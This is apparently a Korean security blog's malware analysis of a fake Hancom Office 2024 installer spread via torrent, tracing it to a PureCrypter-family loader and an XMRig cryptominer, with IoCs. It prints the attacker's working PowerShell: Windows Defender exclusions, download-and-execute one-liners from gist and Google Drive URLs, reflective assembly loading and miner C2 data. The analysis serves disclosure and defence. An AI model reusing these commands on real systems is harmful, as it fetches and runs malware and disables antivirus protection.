한컴오피스 2024 설치파일로 위장해 유포 중인 악성코드

1. Intro

한컴오피스 설치를 위해 구글에 '한컴오피스2024 다운로드'를 검색하던 중, 국내 한 커뮤니티에서 한컴 오피스 2024 설치 파일이 불법으로 유포되고 있는 것을 확인했다.

해당 사이트에 접속하여 게시글 확인해보니 2021년 10월 8일, '그대는하나'라는 닉네임을 가진 유저가 '한컴 오피스 2024' 설치 파일이 공개되었다며 토렌트 파일을 다운로드할 수 있는 업로드 사이트로 접속을 유도하고 있었다. 2021년에 게시된 글에서 한컴 오피스 2024 설치파일이라며 업로드 사이트에 토렌트 파일이라니... 수상쩍은 생각에 해당 사이트에 접속해보았다.

업로드 사이트(upload[.]ee)에는 한글 2024 설치 파일인 것처럼 보이는 토렌트 파일(H2024.zip.torrent)이 게시되어 있었는데, 2024년 4월 19일 기준 다운로드 횟수가 1,110회이었다.

해당 토렌트 파일을 다운로드 받아 압축 프로그램으로 실행한 결과는 다음과 같다. 파일 이름과 폴더 구조로만 보았을 때는 매우 정상 설치 프로그램처럼 보인다.

하지만 한글과컴퓨터社에서 정식 발표한 한컴 오피스 설치 파일과 해당 파일을 비교해보면 다음과 같이 추가되거나 내용이 수정된 파일이 있는 것을 알 수 있다.

구분 경로 설명
추가된 파일 H2024\Install\HOffice2024Update_20240123.exe 한컴 오피스 업데이트 파일
H2024\Install\Install_UI\lo\HOffice130.exe Nircmd
H2024\Install\Install_UI\lo\7z.exe 7zip
H2024\Install\Install_UI\ci.png 프로그램 실행 시 "교육기관용" 문구 삭제
H2024\Install\Install_UI\Logo_Copy.bat
수정된 파일 H2024\Install\InstallerConfig.ini 한컴 오피스 설치를 위한 설정 파일

2. 악성파일 동작 흐름

2-1) InstallerConfig.ini

InstallerConfig.ini 파일은 한컴 오피스 설치 시 필요한 설정 값들이 저장되어 있다. 설정 파일은 [PreInstall], [Install], [PostInstall] 섹션으로 나뉘어져 있는데 각각의 역할은 다음과 같다.

  • PreInstall : 프로그램 설치 전 버전, 이름 등과 같은 설정 값
  • Install : 프로그램 설치를 위한 msi 파일 및 옵션 값
  • PostInstall : 설치 완료 후 실행할 프로그램 및 인자 값
▲ 위에서 다운로드 받은 설치 파일의 InstallerConfig.ini 파일

위에서 다운로드 받은 설치 파일의 설정 파일에는 PostInstall 섹션에 ExtRun*, ExtRunParam* 값이 입력되어 있으며, 각각 실행 프로그램과 실행 인자 값을 의미한다. 이를 정상 설치 파일의 설정 파일과 비교해보니 다음과 같이 정상 설치 파일에는 PostInstall 섹션이 비어 있어 다운로드 받은 한컴 오피스 설치 파일은 설치 이후 특정 행위를 수행하도록 조작되었음을 알 수 있다.

좌 : 악성 행위가 추가된 InstallerConfig.ini / 우 : 정상 InstallerConfig.ini

설치 이후 동작하는 코드를 재구성한 결과 다음과 같으며, 이때 HOffice130.exeNircmd.exe 로 Nirsoft社에서 개발한 사용자 인터페이스 없이 명령어를 실행할 수 있는 명령 유틸리티 프로그램이다. 추가된 코드는 NirCmd.exe 프로그램을 통해 파워쉘(Powershell.exe)을 Install\Install_UI\lo\ 경로에 vcredist.exe라는 파일 명으로 복사하고, 파워쉘 명령어를 통해 Windows Defender에 특정 탐지 ID를 예외 설정한 뒤 github 사이트에 업로드 되어 있는 스크립트를 실행시킨다.

Install\Install_UI\lo\HOffice130.exe execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe

Install\Install_UI\Logo_Copy.bat

Install\Install_UI\lo\HOffice130.exe exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)

Install\Install_UI\lo\HOffice130.exe exec hide Install\Install_UI\lo\vcredist.exe Invoke-WebRequest -Uri "https://gist.github.com/dedob/7c9215644008bfe265a747d703f5356e/raw/H" -UseBasicParsing | Invoke-Expression

Install\HOffice2024Update_20240123.exe /silent

2-2) Github 사이트에 업로드 된 파워쉘 스크립트 실행

파워쉘 스크립트가 업로드 된 Github 사이트의 URL은 다음과 같다.

  • hxxps://gist[.]github[.]com/dedob/7c9215644008bfe265a747d703f5356e/raw/H

해당 사이트에 접속해보면 다음과 같이 빈 페이지인 것처럼 보인다.

하지만, '페이지 소스 보기'를 통해 웹 사이트를 확인한 결과, 다음과 같이 파워쉘 코드가 존재한다.

파워쉘 코드는 BASE64로 인코딩 된 문자열 변수를 선언하는데 해당 변수들을 디코딩한 결과, 텔레그램, Github, Masterdon, 구글 Docs 등 특정 웹 URL로 설정되어 있다.

$TkxBgEzPr = "aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO"
$ZCiANdmlr = "aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS8wNjVkMTYyNTk1YWFkN2E5YmE2ODMwY2M5MzllYWFmNC9yYXcvSU5GTw=="
$pybjWzOsw = "aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE"
$oyJVyJMCf = "aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO"
$CPuWmDCEv = "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ=="
변수명 디코딩 결과
TkxBgEzPr https://t.me/dRidulEDhRQYNREkN
ZCiANdmlr https://gist.github.com/thamanarya/065d162595aad7a9ba6830cc939eaaf4/raw/INFO
pybjWzOsw https://t.me/IXvMGsiyPuHoPSSiD
oyJVyJMCf https://mastodon.social/@dRidulEDhRQYNREkN
CPuWmDCEv https://docs.google.com/uc?export=download&id=

이후 for문을 통해 각 URL에 대해 Get-WebContent함수를 호출한다. 이때 함수가 null이 아닌 값을 반환하면 for문을 종료한다.

$BRBzPqvnl = @($TkxBgEzPr, $ZCiANdmlr, $pybjWzOsw, $oyJVyJMCf)
$EncodedScript = $null

foreach ($IfyshvJBA in $BRBzPqvnl) {
	$EncodedScript = Get-WebContent -IfyshvJBA $IfyshvJBA
	if ($EncodedScript -ne $null) {
		break
	}
}

Get-WebContent함수에서는 전달 받은 URL의 웹 컨텐츠를 불러와 'CheckMP' 문자열이 존재하는지 확인하고 해당 키워드를 바탕으로 추가 데이터를 불러온다.

function Get-WebContent {
	param($IfyshvJBA)
	$EJoRnwpWw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($IfyshvJBA))
	try {
		$WebRequest = Invoke-WebRequest -Uri $EJoRnwpWw -UseBasicParsing
		if ($WebRequest -notmatch "CheckMP") {
			throw "not found"
		}
		$Id = $WebRequest -split "CheckMP" | Select-Object -Index 1
		$Id = $Id -split "\|" | Select-Object -Index 0
		if ($Id -match "^https?://") {
			$SFevpQGAd = $Id
		} else {
			$SFevpQGAd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CPuWmDCEv)) + $Id
		}
		$WebRequest2 = Invoke-WebRequest -Uri $SFevpQGAd -UseBasicParsing
		$EncodedScript = $WebRequest2 -split "10\|" | Select-Object -Index 1
		if ($EncodedScript -eq $null) {
			throw "not found"
		}
		$EncodedScript = $EncodedScript -split "\|" | Select-Object -Index 0
		return $EncodedScript
	} catch {
		return $null
	}
}

최종적으로 Get-WebContent함수의 실행 결과를 파워쉘 스크립트로 다시 실행하여 추가 악성 행위를 진행한다. 이때, 추가 악성 행위를 위한 코드는 공격자가 컨트롤 가능한 외부 URL에서 가져오기 때문에 수시로 변경 될 가능성이 있다.

if ($EncodedScript -ne $null) {
	$ScriptBlock = [ScriptBlock]::Create("Install\Install_UI\lo\vcredist.exe -e $EncodedScript")
	$Result = & $ScriptBlock
}

4월 19일 기준으로 추가 악성 행위를 위한 코드는 다음과 같다.

Windows Defender 탐지 우회를 위해 각종 예외 항목을 등록한 뒤, 거점 폴더(C:\ProgramData\Google)를 생성한다. 이후 BITS(Background Intelligent Transfer Service) 전송을 통해 7z.exe를 다운로드 받아 거점 폴더에 저장한다. 최종적으로는 구글 드라이브 링크를 통해 추가 악성 행위를 위한 스크립트를 다운로드 받아 실행한다.

cmd /c powershell -e QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AVABoAHIAZQBhAHQASQBEAEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AXwBJAGQAcwAgADIAMQA0ADcAOAA0ADIAOQAzADgAIAAtAFQAaAByAGUAYQB0AEkARABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuAF8AQQBjAHQAaQBvAG4AcwAgAEEAbABsAG8AdwA=;
powershell Add-MpPreference -ThreatIDDefaultAction_Ids 251873 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147831456 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147814524 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147735503 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147831456 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ExclusionProcess 'software_reporter_tool.exe';
Add-MpPreference -ExclusionPath 'C:\Windows\Temp';
mkdir 'C:\ProgramData\Google';
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1xXCx9GbnWv3rupomjtPawQ2SPzNFtq_9?alt=media&key=AIzaSyBgMEqXB9ljAXZ-Bc2cqLIKI00XScrwDd8&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\7z.exe';
Invoke-WebRequest -Uri "https://drive.google.com/uc?export=download&id=1YLZkhEOEKgwoPaL5Fa74jMfm3p3pVk7_" -UseBasicParsing | Invoke-Expression

구글 드라이브를 통해 다운로드 받아지는 스크립트는 다음과 같으며, $KKdjvLoROvcuazgeV 변수에 BASE64 인코딩 값을 담고 있다. 스크립트는 해당 변수의 값을 디코딩 한 뒤, 바이트 배열을 로드한다. 이후 로드된 어셈블리에서 ITJCAelC라는 이름을 가진 함수를 호출한다.

$KKdjvLoROvcuazgeV = "TV" + "qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAA (중략) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$zZytSdxgkwoDvntso = [System.Convert]::FromBase64String($KKdjvLoROvcuazgeV);
[Reflection.Assembly]::Load($zZytSdxgkwoDvntso);
[ITJCAelC]::Main();

$KKdjvLoROvcuazgeV 변수를 BASE64로 디코딩 해보면 다음과 같이 PE구조를 확인할 수 있으며, 파일에 대한 해시 값은 다음과 같다.

MD5 F9F177CFB0FCC87EBBBE44AE97CD13C7
SHA1 3FEA6695B198373AE2FA074DF0092106DF99F6F6

위 해시 값을 VirusTotal에 검색한 결과 다음과 같이 악성파일로 탐지하고 있다.

2-3) 악성파일 실행

앞선 파워쉘 스크립트를 통해 .NET 어셈블리가 메모리에서 로드됐다. 기능을 파악하기 위해 .NET 디컴파일러를 통해 해당 바이너리를 정적분석 했다.

다음과 같이 클래스와 함수명이 난독화 되어 있는 것을 볼 수 있다. 보통 VMProtect로 .NET 바이너리를 패킹했을 때 해당 패턴이 나타나며, Method가 가상화 되어있는 것을 식별할 수 있다.

가상화로 인해 정적 분석이 어렵기 때문에, 이후 동적 분석을 진행했다. 해당 악성코드는 Anti-VM이 존재하기 때문에 가상환경에서 구동이 불가능 하다. 동적 분석을 진행하기 위해서 동적 분석 도구가 설치되어 있고, 독립된 네트워크로 구성된 리얼머신을 활용했다.

가상화된 Method를 Hooking하여 Parameter를 추출한 결과, 다음과 같이 다양한 문자열을 획득할 수 있었는데, Parameter 순서로 프로그램의 행위 흐름을 나타내면 다음과 같다.

  1. 피해자 PC 정보(가상화, V3, 시스템정보, IP 등)를 확인한다.
  2. 확인된 정보를 Telegram API를 사용하여 특정 채널에 전송한다.
  3. 파워쉘 스크립트를 실행한다.
  4. 각 네트워크 인터페이스의 DNS를 8.8.8.8, 8.8.4.4 로 변경한다.
  5. 파워쉘 스크립트 실행을 작업 스케줄러에 등록한다.
  6. 자가 삭제한다.
Parameter (System.String) [0]: ("asdmon")
Parameter (System.String) [0]: ("Name")
Parameter (System.String) [1]: ("NVIDIA GeForce GTX 1650")
Parameter (System.String) [0]: ("Intel HD Graphics")
Parameter (System.String) [0]: ("AMD Radeon HD Series")
Parameter (System.String) [0]: ("AMD Radeon Series")
Parameter (System.String) [0]: ("NVIDIA Quadro")
Parameter (System.String) [0]: ("Radeon (TM) HD")
Parameter (System.String) [0]: ("VirtualBox")
Parameter (System.String) [0]: ("Basic")
Parameter (System.String) [0]: ("Standard")
Parameter (System.String) [0]: ("ASPEED")
Parameter (System.String) [0]: ("Hyper-V")
Parameter (System.String) [0]: ("VMware")
Parameter (System.String) [1]: ("H2022")
Parameter (System.String) [2]: ("-240415
Parameter (System.String) [0]: ("v3l4sp")
Parameter (System.String) [0]: ("V3UI")
Parameter (System.String) [0]: ("v3csp")
Parameter (System.String) [0]: ("C:\Windows\SysWOW64")
Parameter (System.String) [0]: ("http://ip-api.com/xml/")
Parameter (System.String) [1]: ("DESKTOP-DQDKRU5")
Parameter (System.String) [2]: ("\root\SecurityCenter2")
Parameter (System.String) [0]: ("displayName")
Parameter (System.String) [1]: ("Windows Defender")
(생략)

위 과정에서 다음과 같은 파워쉘 스크립트가 추가적으로 실행되는 것을 확인할 수 있다. BITS 전송을 통해 압축파일을 다운로드 받고, 7z을 이용하여 압축 해제 및 실행한다.

cmd /c powershell Start-Sleep -Seconds 9;
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1Utm-0LIOeO-uKi673fZzUclc0ysgWgfu?alt=media&key=AIzaSyDEYROoFqP3AYzPJ_gVudpm3TN02mRXpGw&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\7z.exe';
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1B1zqcJtCXFKwu4_HGsr9qMH1gRlFKY6J?alt=media&key=AIzaSyAfgZtUaAFDhjNJ6JVG1A06eC1gPjjaq24&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\.png.001';
cmd.exe /c "C:\ProgramData\Google\7z.exe" x -oC:\ProgramData\Google\ C:\ProgramData\Google\.png.001 -px -y;
C:\ProgramData\Google\software_reporter_tool.exe

해당 악성코드는 SmartAssembly로 패킹되어 있으며, 리소스에 저장되어 있는 파일을 지정된 KEY와 IV를 사용하여 3DES 알고리즘으로 복호화 한 뒤 메모리에서 실행한다.

복호화된 바이너리는 Protobuf-net과 Costura 라이브러리가 포함되어 있으며, Costura로 패키징된 리소스를 Protobuf-net을 사용하여 데이터 역직렬화를 풀어 악성코드가 실행하는데 사용된다.

💡
이는 PureCrypter 계열의 악성코드에서 사용하는 행위이며, 해당 악성코드가 PureCrypter 계열임을 알 수 있다. 참조

이후 Process Explorer를 활용하여 프로세스를 모니티링하던 중, dialer.exe가 CPU와 RAM 사용량을 상당히 차지하고 있으며, 특정 IP와 커넥션이 연결되어 있는 것을 발견했다.

dialer.exe는 윈도우 전화걸기 프로그램으로, 현재는 거의 사용되지 않는 프로그램이다. 이는 정상 프로그램에 악성코드가 Injection되어 실행중임을 추정할 수 있다.

또한 WireShark를 활용하여 위에서 확인된 IP 주소를 필터링 하여 확인한 결과, 주기적으로 통신이 이루어지는 것을 확인할 수 있었다.

특히, /api/endpoint.php에 POST Method로 PC정보와 같은 데이터를 전송하는 정황을 확인할 수 있었는데, 공격자 서버로 전송되는 데이터는 다음과 같다.

항목 데이터
id yjbzkxhslduegnai
computername DESKTOP-DQDKRU5
username mal
gpu NVIDIA GeForce GTX 1650, Intel(R) UHD Graphics 770
cpu 12th Gen Intel(R) Core(TM) i7-12700K
remoteconfig
version 3.4.0
activewindow C:\\Program Files\\Wireshark\\Wireshark.exe
runtime 2524
type xmrig
pool minecraftrpgserver.com
port 27037
algo rx/0
worker
password
user ZEPHs9eCMMza6HRoytdTWnUBP28xnRMhUK7z6smekMurCVVS57GPfqK5uewE7cgiqn4jBoJbi9teC9e6fraJaQoL2UhTMXNB1vs
hashrate
status 2

공격자로 전송되는 데이터는 피해자 PC의 기본 정보, 활성화 되어있는 창, 채굴 코인, 채굴 Pool, 지갑 주소 등이 있음을 확인했다.

또한 응답값에서 "stealth-targets"과 "kill-targets"이라는 특이한 항목을 확인할 수 있었다. 이는 특정 프로세스가 탐지되었을 때, 채굴을 일시중지 하거나 종료하는 것으로 추정된다.

항목 데이터
stealth-targets MSIAfterburner.exe,HWiNFO32.exe,HWiNFO64.exe,HWMonitor_x32.exe,HWMonitor_x64.exe,HWMonitorPro_x32.exe,HWMonitorPro_x64.exe,NZXT CAM.exe,speedfan.exe,Core Temp.exe,OpenHardwareMonitor.exe,OCCT.exe,FurMark.exe,TslGame.exe,TslGame_SE.exe,GTA5.exe,GTA6.exe,fifazf.exe,fifa4zf.exe,fifa5zf.exe,FIFA21.exe,FIFA22.exe,FIFA23.exe,FIFA24.exe,FIFA25.exe,League of Legends.exe,LOSTARK.exe,VALORANT.exe,Overwatch.exe,suddenattack.exe,javaw.exe,SC2.exe,SC2_x64.exe,DNF.exe,BlackDesert64.exe,BNSR.exe,ProjectLH.exe,Wow.exe,AfterFX.exe,AFCStudio2.exe,cod.exe,RobloxPlayerBeta.exe,RobloxPlayer.exe,KartDrift-Win64-Shipping.exe,Adobe Premiere Pro.exe,EternalReturn.exe,destiny2.exe,blender.exe,Photoshop.exe,acad.exe,Diablo IV.exe,Cyphers.exe,r5apex.exe,dota2.exe,GameOverlayUI.exe,EOSOverlayRenderer-Win64-Shipping.exe,EpicOnlineServicesUserHelper.exe,obs64.exe,Lineage2M.exe,Q7-Win64-Shipping.exe,rojectN-Win64-Shipping.exe,ProjectER-Win64-Shipping.exe,DW9.exe,XSplit.Core.exe,XSplitVCam.exe,fczf.exe
kill-targets V3Lite_Setup.exe,V3Lite_Setup (1).exe,V3Lite_Setup (2).exe,openssl.exe,natsvc.exe,smmgr.exe,v_service.exe,v_member.exe,akdanhall-installer-build-433.msi,akdanhall-installer-build-433 (1).msi,akdanhall-installer-build-433 (2).msi

위 분석 결과를 종합해보면, 공격자는 피해자 PC의 정보를 수집하며 채굴 악성코드를 실행한다는 것을 알 수 있다.

3. 결론

유포자는 정보 공유가 활발한 커뮤니티를 활용하여 한국에서 가장 인지도가 높은 문서 편집 프로그램을 위장하여 악성 코드를 유포하고 있다. 또한 유포가 되고 있는 사이트에서 유포자가 작성한 게시글을 보면, 한컴 오피스 뿐만 아니라 불법 정품 인증 도구 또한 유포하고 있음을 확인할 수 있다.

혹시 이 글을 읽는 독자 중, 비정상적인 경로를 통해 한컴오피스나 불법 정품 인증 프로그램을 다운로드 받아 사용한 적이 있다면, 즉시 이 글을 닫고 PC에 이상이 없는지 점검해 볼 것을 권장한다.

4. IoC

MD5

  • D0056511DA33E6277BEE191DAFBE6397 : software_reporter_tool.exe
  • F9F177CFB0FCC87EBBBE44AE97CD13C7 : WZWrGlxM

C&C

  • hxxps://gist.github[.]com/dedob/7c9215644008bfe265a747d703f5356e/raw/H
  • minecraftrpgserver[.]com:27037 : XMRig Mining Pool
  • minecraftrpgserver[.]com:80 : Trojan

다운로드 주소

  • hxxps://www.googleapis[.]com/drive/v3/files/1B1zqcJtCXFKwu4_HGsr9qMH1gRlFKY6J?alt=media&key=AIzaSyAfgZtUaAFDhjNJ6JVG1A06eC1gPjjaq24&supportsAllDrives=True
  • hxxps://drive.google[.]com/uc?export=download&id=1YLZkhEOEKgwoPaL5Fa74jMfm3p3pVk7_